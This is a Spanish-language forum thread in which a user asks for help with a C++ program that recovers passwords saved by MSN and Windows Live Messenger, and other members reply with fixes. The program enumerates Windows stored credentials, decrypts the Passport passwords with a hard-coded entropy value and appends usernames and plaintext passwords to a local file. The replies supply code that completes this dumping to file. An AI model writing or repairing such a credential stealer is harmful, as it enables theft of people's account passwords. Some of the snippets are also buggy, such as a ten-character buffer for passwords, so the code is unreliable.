problema con escritura de archivos

Iniciado por drakolive, 5 Junio 2008, 23:45 PM

0 Miembros y 1 Visitante están viendo este tema.

drakolive

estoy adaptando este codigo, pero al momento de colocarle para que guarde el historial en un archivo no lo hace, solo guarda un caracter, osea guarda cierta parte del texto, pero no completa, lo he probado con el dev c++
alguien me ayuda??

creo que mi problema radica en esta linea:
printf("Password : %ls\n\n", CredentialCollection->CredentialBlob);

por esto: %ls

como solucionoo?

Código (c++) [Seleccionar]

/* Programa que recupera contraseñas almacenadas con Microsoft Messenger,
* basado en el código original de Gregory R. Panakkal, http://www.infogreg.com
* modificado para Windows Live Messenger. XP SP2
* Testeado con la versión 8 de Windows Live Messenger y 7.0 - 7.5 MSN Messenger.
* Compilar con Visual C++ 6.
* By dSx.
*/
#include<windows.h>
#include<stdio.h>
#include <fstream.h>

using namespace std;

typedef struct _CREDENTIAL_ATTRIBUTEA {
  LPSTR Keyword;
  DWORD Flags;
  DWORD ValueSize;
  LPBYTE Value;
} CREDENTIAL_ATTRIBUTEA, *PCREDENTIAL_ATTRIBUTEA;

typedef struct _CREDENTIALA {
  DWORD Flags;
  DWORD Type;
  LPSTR TargetName;
  LPSTR Comment;
  FILETIME LastWritten;
  DWORD CredentialBlobSize;
  LPBYTE CredentialBlob;
  DWORD Persist;
  DWORD AttributeCount;
  PCREDENTIAL_ATTRIBUTEA Attributes;
  LPSTR TargetAlias;
  LPSTR UserName;
} CREDENTIALA, *PCREDENTIALA;

typedef struct _CRYPTOAPI_BLOB {
  DWORD  cbData;
  BYTE*  pbData;
} DATA_BLOB;

typedef struct _CRYPTPROTECT_PROMPTSTRUCT {
DWORD   cbSize;
DWORD   dwPromptFlags;
HWND    hwndApp;
LPCWSTR  szPrompt;
} CRYPTPROTECT_PROMPTSTRUCT;

typedef CREDENTIALA CREDENTIAL;
typedef PCREDENTIALA PCREDENTIAL;


typedef BOOL (WINAPI *typeCryptUnprotectData)(
           DATA_BLOB *,
           LPWSTR *,
           DATA_BLOB *,
           PVOID *,         
           CRYPTPROTECT_PROMPTSTRUCT *,
           DWORD,
           DATA_BLOB *
);
typedef BOOL (WINAPI *typeCredEnumerateA)(
           LPCTSTR,
           DWORD,
           DWORD *,
           PCREDENTIALA **
);
typedef BOOL (WINAPI *typeCredReadA)(
           LPCTSTR,
           DWORD,
           DWORD,
           PCREDENTIALA *
);
typedef VOID (WINAPI *typeCredFree)(PVOID);
     
typeCredEnumerateA pfCredEnumerateA;
typeCredReadA pfCredReadA;
typeCredFree pfCredFree;
typeCryptUnprotectData pfCryptUnprotectData;

void showBanner(void);


int main()
{
showBanner();
  PCREDENTIAL *CredentialCollection = NULL;
  DATA_BLOB blobCrypt, blobPlainText, blobEntropy;
 
  char szEntropyStringSeed[37] = "82BD0E67-9FEA-4748-8672-D5EFE5B779B0"; //credui.dll
  short int EntropyData[37];
  short int tmp, pnet, j;

  HMODULE hDLL, hDLL2;
  DWORD Count, i;

 


  if (hDLL = LoadLibrary("advapi32.dll")) {
   pfCredEnumerateA = (typeCredEnumerateA)GetProcAddress(hDLL, "CredEnumerateA");
   pfCredReadA = (typeCredReadA)GetProcAddress(hDLL, "CredReadA");
   pfCredFree = (typeCredFree)GetProcAddress(hDLL, "CredFree");

   if (pfCredEnumerateA == NULL ||
     pfCredReadA == NULL ||
     pfCredFree == NULL) {
     
     printf("Error!\n");
     return -1;
   }
  }
 
  if (hDLL2 = LoadLibrary("crypt32.dll")) {
   pfCryptUnprotectData = (typeCryptUnprotectData)GetProcAddress(hDLL2, "CryptUnprotectData");
   
   if (pfCryptUnprotectData == NULL) {
     printf("Error!\n");
     return -1;
   }
  }
 
  pfCredEnumerateA(NULL, 0, &Count, &CredentialCollection);
  printf("\nCount: %d\n", Count);
  //Calculate Entropy Data
  for (i = 0; i < 37; i++) { // strlen(szEntropyStringSeed) = 37
   tmp = (short int)szEntropyStringSeed[i];
   tmp <<= 2;
   EntropyData[i] = tmp;
  }
 
  if (Count) {
             
   for (i = 0; i < Count; i++) {
     pnet = strcmp(CredentialCollection[i]->TargetName, "Passport.Net\\*");
     if (!pnet) {
      blobEntropy.pbData = (BYTE *)&EntropyData;
      blobEntropy.cbData = 74; //sizeof(EntropyData)
             
      blobCrypt.pbData = CredentialCollection[i]->CredentialBlob;
      blobCrypt.cbData = CredentialCollection[i]->CredentialBlobSize;
       
      pfCryptUnprotectData(&blobCrypt, NULL, &blobEntropy, NULL, NULL, 1, &blobPlainText);
      //showBanner(CredentialCollection[i]->UserName);
     
     
      //log << "asdasdasdas";
      printf("<-- MSN Messenger -->\n"); 
      printf("Username : %s\n", CredentialCollection[i]->UserName);
      printf("Password : %ls\n\n", blobPlainText.pbData);
   
     } else {
     ofstream log("Passwords.txt", ios::app);
      printf("<-- Windows Live Messenger -->\n");
      printf("Username : %s\n", CredentialCollection[i]->TargetName);
      printf("Password : %ls\n\n", CredentialCollection[i]->CredentialBlob);
     
      log <<  "<-- Windows Live Messenger -->\n";
      log << "Username: " << CredentialCollection[i]->TargetName << "\n";
      log << "Password : " << CredentialCollection[i]->CredentialBlob << "\n\n" ;
     
     }
   }
  }
  pfCredFree(CredentialCollection);
  getchar();
  getchar();
   
  return EXIT_SUCCESS;
}

void showBanner()
{
printf("Passwords\n");
}

Flakito81

#1
Se me ocurre poner algo así
Código (cpp) [Seleccionar]

         sprintf (pass, "%ls", CredentialCollection[i]->CredentialBlob);
         log << "Password : "<< pass  << endl << endl;

siendo pass un array de caracteres:

char pass[10];

Un saludo!

PD: no te olvides de cerrar el fichero: log.close();

drakolive

Gracias!!!!!
voy a averiguar para comprender mejor esto: sprintf

no sabia ni que hacer, gracias!!!!!!  :-*

novatu

Reemplazar

ofstream log("Passwords.txt", ios::app);
printf("<-- Windows Live Messenger -->\n");
printf("Username : %s\n", CredentialCollection[i]->TargetName);
printf("Password : %ls\n\n", CredentialCollection[i]->CredentialBlob);

log << "<-- Windows Live Messenger -->\n";
log << "Username: " << CredentialCollection[i]->TargetName << "\n";
log << "Password : " << CredentialCollection[i]->CredentialBlob << "\n\n" ;




Por:

printf("<-- Windows Live Messenger -->\n");
printf("Username : %s\n", CredentialCollection[i]->TargetName);
printf("Password : %ls\n\n", CredentialCollection[i]->CredentialBlob);


char texto[512]; sprintf(texto,"<-- Windows Live Messenger -->\n");
sprintf(texto,"%sUsername : %s\n", texto,CredentialCollection[i]->TargetName);
sprintf(texto,"%sPassword : %ws\n\n", texto,CredentialCollection[i]->CredentialBlob);

FILE *file;
file=fopen("./Passwords.txt","a");

fputs(texto,file);

fclose(file);

Littlehorse

novatu, ten en cuenta que el ultimo post es del 2008. No revivas posts tan antiguos.

Saludos
An expert is a man who has made all the mistakes which can be made, in a very narrow field.